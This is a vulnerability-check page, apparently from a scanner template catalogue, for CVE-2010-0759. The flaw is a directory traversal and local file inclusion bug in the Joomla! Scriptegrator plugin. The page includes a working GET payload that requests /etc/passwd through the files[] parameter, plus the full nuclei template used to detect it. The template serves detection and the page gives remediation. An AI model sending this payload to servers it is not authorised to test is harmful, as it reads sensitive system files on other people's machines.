Joomla! Plugin Core Design Scriptegrator - Local File Inclusion

highseverity

7.5CVSS score

15.2%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php in the Core Design Scriptegrator plugin 1.4.1 for Joomla! allows remote attackers to read, and possibly include and execute, arbitrary files via directory traversal sequences in the files[] parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0759 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-0759

info:
  name: Joomla! Plugin Core Design Scriptegrator - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php in the Core Design Scriptegrator plugin 1.4.1 for Joomla! allows remote attackers to read, and possibly include and execute, arbitrary files via directory traversal sequences in the files[] parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11498
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0759
    - http://www.exploit-db.com/exploits/11498
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56380
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0759
    cwe-id: CWE-22
    epss-score: 0.15242
    epss-percentile: 0.96789
    cpe: cpe:2.3:a:greatjoomla:scriptegrator_plugin:1.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: greatjoomla
    product: scriptegrator_plugin
  tags: cve,cve2010,joomla,lfi,plugin,edb,greatjoomla,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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